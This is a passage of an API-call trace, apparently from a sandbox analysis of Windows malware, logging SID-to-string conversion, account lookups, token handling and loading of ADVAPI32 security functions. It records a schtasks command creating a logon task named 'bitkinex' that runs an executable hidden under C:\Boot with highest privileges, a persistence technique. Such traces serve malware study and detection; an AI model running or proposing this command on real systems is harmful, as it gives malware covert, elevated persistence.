[3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0061.886] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0061.886] malloc (_Size=0x18) returned 0xef020 [0061.886] malloc (_Size=0x18) returned 0xef0a0 [0061.886] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0061.886] SysStringLen (param_1="-") returned 0x1 [0061.886] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0061.887] memcpy (in: _Dst=0x34d994, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0061.887] free (_Block=0xeef20) [0061.887] free (_Block=0xef020) [0061.887] malloc (_Size=0x18) returned 0xef020 [0061.887] malloc (_Size=0x18) returned 0xeef20 [0061.887] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0061.887] SysStringLen (param_1="3835049652") returned 0xa [0061.887] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0061.887] memcpy (in: _Dst=0x3276a6, _Src=0x35ec68, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0061.887] free (_Block=0xef0a0) [0061.887] free (_Block=0xef020) [0061.887] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0061.887] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0061.887] malloc (_Size=0x18) returned 0xef020 [0061.887] malloc (_Size=0x18) returned 0xef0a0 [0061.887] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0061.887] SysStringLen (param_1="-") returned 0x1 [0061.887] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0061.887] memcpy (in: _Dst=0x34d9aa, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0061.887] free (_Block=0xeef20) [0061.888] free (_Block=0xef020) [0061.888] malloc (_Size=0x18) returned 0xef020 [0061.888] malloc (_Size=0x18) returned 0xeef20 [0061.888] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0061.888] SysStringLen (param_1="1000") returned 0x4 [0061.888] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0061.888] memcpy (in: _Dst=0x3276bc, _Src=0x35ec68, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0061.888] free (_Block=0xef0a0) [0061.888] free (_Block=0xef020) [0061.888] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0061.888] malloc (_Size=0x5e) returned 0xf0800 [0061.888] free (_Block=0xeef20) [0061.888] malloc (_Size=0x18) returned 0xeef20 [0061.889] free (_Block=0xf0800) [0061.889] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0061.890] GetLastError () returned 0x7a [0061.890] malloc (_Size=0x14) returned 0xef020 [0061.890] malloc (_Size=0x16) returned 0xef0a0 [0061.890] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0061.890] malloc (_Size=0x18) returned 0xeef60 [0061.890] malloc (_Size=0x18) returned 0xeef00 [0061.890] free (_Block=0xef020) [0061.890] free (_Block=0xef0a0) [0061.890] free (_Block=0xeff30) [0061.890] free (_Block=0xeef00) [0061.891] free (_Block=0xeef60) [0061.891] free (_Block=0xeef20) [0061.891] free (_Block=0xee240) [0061.892] malloc (_Size=0x48) returned 0xed270 [0061.892] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0061.897] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0061.897] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0061.897] malloc (_Size=0x18) returned 0xeef20 [0061.898] CreateEnvironmentBlock () returned 0x1 [0061.903] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0061.903] malloc (_Size=0x18) returned 0xeef60 [0061.903] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"bitkinex\" /sc ONLOGON /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"bitkinex\" /sc ONLOGON /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf18, dwThreadId=0xf1c)) returned 1 [0061.908] CloseHandle (hObject=0x2fc) returned 1 [0061.908] CloseHandle (hObject=0x248) returned 1 [0061.908] free (_Block=0xeef60) [0061.908] DestroyEnvironmentBlock () returned 0x1 [0061.908] malloc (_Size=0x48) returned 0xed400 [0061.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4e081620, dwHighDateTime=0x1d9eb0c)) [0061.908] SetEvent (hEvent=0x1f0) returned 1 [0061.909] CloseHandle (hObject=0x2e0) returned 1 [0061.909] CloseHandle (hObject=0x2d4) returned 1 [0061.988] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0061.988] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0061.988] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0062.305] SetLastError (dwErrCode=0x0) [0062.305] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0062.305] SetLastError (dwErrCode=0x0) [0062.305] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0062.305] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0062.305] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0062.305] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0062.307] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0062.307] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0062.308] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0062.308] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0062.308] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0062.308] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0062.308] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0062.310] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0062.310] GetCurrentThread () returned 0xfffffffffffffffe [0062.310] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x238) returned 1 [0062.310] malloc (_Size=0xd8) returned 0xf4740 [0062.310] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0062.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0062.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0062.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0062.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0062.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0062.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0062.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0062.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0062.312] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0062.312] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0062.312] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0062.312] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0062.312] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0062.312] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0062.312] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0062.313] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0062.313] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0062.313] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0062.313] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0062.313] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0062.313] malloc (_Size=0x18) returned 0xeef20 [0062.313] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0062.313] malloc (_Size=0x48) returned 0xed400 [0062.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4e45f9e0, dwHighDateTime=0x1d9eb0c)) [0062.313] SetEvent (hEvent=0x1f0) returned 1 [0062.314] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0062.314] GetLastError () returned 0x7a [0062.314] malloc (_Size=0x2c) returned 0xee200 [0062.314] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0062.314] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0062.314] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0062.315] malloc (_Size=0x1c) returned 0xeff00 [0062.315] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0062.315] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0062.315] malloc (_Size=0x18) returned 0xef040 [0062.315] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0062.315] malloc (_Size=0x18) returned 0xeef60 [0062.315] malloc (_Size=0x18) returned 0xeef00 [0062.315] SysStringLen (param_1="S-1-") returned 0x4 [0062.315] SysStringLen (param_1="5") returned 0x1 [0062.315] memcpy (in: _Dst=0x381268, _Src=0x35e8d8, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0062.315] memcpy (in: _Dst=0x381270, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0062.315] free (_Block=0xef040) [0062.315] free (_Block=0xeef60) [0062.315] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0062.315] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0062.315] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0062.315] malloc (_Size=0x18) returned 0xeef60 [0062.315] malloc (_Size=0x18) returned 0xef040 [0062.315] SysStringLen (param_1="S-1-5") returned 0x5 [0062.315] SysStringLen (param_1="-") returned 0x1 [0062.315] memcpy (in: _Dst=0x35e9f8, _Src=0x381268, _Size=0xc | out: _Dst=0x35e9f8) returned 0x35e9f8 [0062.315] memcpy (in: _Dst=0x35ea02, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x35ea02) returned 0x35ea02 [0062.315] free (_Block=0xeef00) [0062.315] free (_Block=0xeef60) [0062.316] malloc (_Size=0x18) returned 0xeef60 [0062.316] malloc (_Size=0x18) returned 0xeef00 [0062.316] SysStringLen (param_1="S-1-5-") returned 0x6 [0062.316] SysStringLen (param_1="21") returned 0x2 [0062.316] memcpy (in: _Dst=0x35e8d8, _Src=0x35e9f8, _Size=0xe | out: _Dst=0x35e8d8) returned 0x35e8d8 [0062.316] memcpy (in: _Dst=0x35e8e4, _Src=0x381268, _Size=0x6 | out: _Dst=0x35e8e4) returned 0x35e8e4 [0062.316] free (_Block=0xef040) [0062.316] free (_Block=0xeef60) [0062.316] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0062.316] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0062.316] malloc (_Size=0x18) returned 0xeef60 [0062.316] malloc (_Size=0x18) returned 0xef040 [0062.316] SysStringLen (param_1="S-1-5-21") returned 0x8 [0062.316] SysStringLen (param_1="-") returned 0x1 [0062.316] memcpy (in: _Dst=0x381268, _Src=0x35e8d8, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0062.316] memcpy (in: _Dst=0x381278, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0062.316] free (_Block=0xeef00) [0062.316] free (_Block=0xeef60) [0062.316] malloc (_Size=0x18) returned 0xeef60 [0062.316] malloc (_Size=0x18) returned 0xeef00 [0062.316] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0062.316] SysStringLen (param_1="4219442223") returned 0xa [0062.316] memcpy (in: _Dst=0x337aa8, _Src=0x381268, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0062.316] memcpy (in: _Dst=0x337aba, _Src=0x35e8d8, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0062.317] free (_Block=0xef040) [0062.317] free (_Block=0xeef60) [0062.317] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0062.317] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0062.317] malloc (_Size=0x18) returned 0xeef60 [0062.317] malloc (_Size=0x18) returned 0xef040 [0062.317] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0062.317] SysStringLen (param_1="-") returned 0x1 [0062.317] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0062.317] memcpy (in: _Dst=0x337b1e, _Src=0x381268, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0062.317] free (_Block=0xeef00) [0062.317] free (_Block=0xeef60) [0062.317] malloc (_Size=0x18) returned 0xeef60 [0062.317] malloc (_Size=0x18) returned 0xeef00 [0062.317] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0062.317] SysStringLen (param_1="4223814209") returned 0xa [0062.317] memcpy (in: _Dst=0x34da68, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0062.317] memcpy (in: _Dst=0x34da90, _Src=0x381268, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0062.317] free (_Block=0xef040) [0062.317] free (_Block=0xeef60) [0062.317] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0062.317] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0062.317] malloc (_Size=0x18) returned 0xeef60 [0062.318] malloc (_Size=0x18) returned 0xef040 [0062.318] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0062.318] SysStringLen (param_1="-") returned 0x1 [0062.318] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0062.318] memcpy (in: _Dst=0x34dbb4, _Src=0x381268, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0062.318] free (_Block=0xeef00) [0062.318] free (_Block=0xeef60) [0062.318] malloc (_Size=0x18) returned 0xeef60 [0062.318] malloc (_Size=0x18) returned 0xeef00 [0062.318] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0062.318] SysStringLen (param_1="3835049652") returned 0xa [0062.318] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0062.318] memcpy (in: _Dst=0x34daa6, _Src=0x381268, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0062.318] free (_Block=0xef040) [0062.318] free (_Block=0xeef60) [0062.318] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0062.318] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0062.318] malloc (_Size=0x18) returned 0xeef60 [0062.318] malloc (_Size=0x18) returned 0xef040 [0062.318] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0062.318] SysStringLen (param_1="-") returned 0x1 [0062.318] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0062.318] memcpy (in: _Dst=0x34dbca, _Src=0x381268, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0062.318] free (_Block=0xeef00) [0062.319] free (_Block=0xeef60) [0062.319] malloc (_Size=0x18) returned 0xeef60 [0062.319] malloc (_Size=0x18) returned 0xeef00 [0062.319] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0062.319] SysStringLen (param_1="1000") returned 0x4 [0062.319] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0062.319] memcpy (in: _Dst=0x34dabc, _Src=0x381268, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0062.319] free (_Block=0xef040) [0062.319] free (_Block=0xeef60) [0062.319] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0062.319] malloc (_Size=0x5e) returned 0xf0800 [0062.319] free (_Block=0xeef00) [0062.319] malloc (_Size=0x18) returned 0xeef00 [0062.320] free (_Block=0xf0800) [0062.320] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0062.321] GetLastError () returned 0x7a [0062.321] malloc (_Size=0x14) returned 0xeef60 [0062.321] malloc (_Size=0x16) returned 0xef040 [0062.321] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0062.322] malloc (_Size=0x18) returned 0xef0a0 [0062.322] malloc (_Size=0x18) returned 0xef020 [0062.322] free (_Block=0xeef60) [0062.322] free (_Block=0xef040) [0062.322] free (_Block=0xeff00) [0062.322] free (_Block=0xef020) [0062.322] free (_Block=0xef0a0) [0062.322] free (_Block=0xeef00) [0062.323] free (_Block=0xee200) [0062.323] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0062.323] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0062.323] GetLastError () returned 0x7a [0062.323] malloc (_Size=0x2c) returned 0xee240 [0062.323] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0062.323] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0062.323] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0062.323] malloc (_Size=0x1c) returned 0xeff00 [0062.323] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0062.323] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0062.323] malloc (_Size=0x18) returned 0xeef00 [0062.323] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0062.323] malloc (_Size=0x18) returned 0xef0a0 [0062.323] malloc (_Size=0x18) returned 0xef020 [0062.324] SysStringLen (param_1="S-1-") returned 0x4 [0062.324] 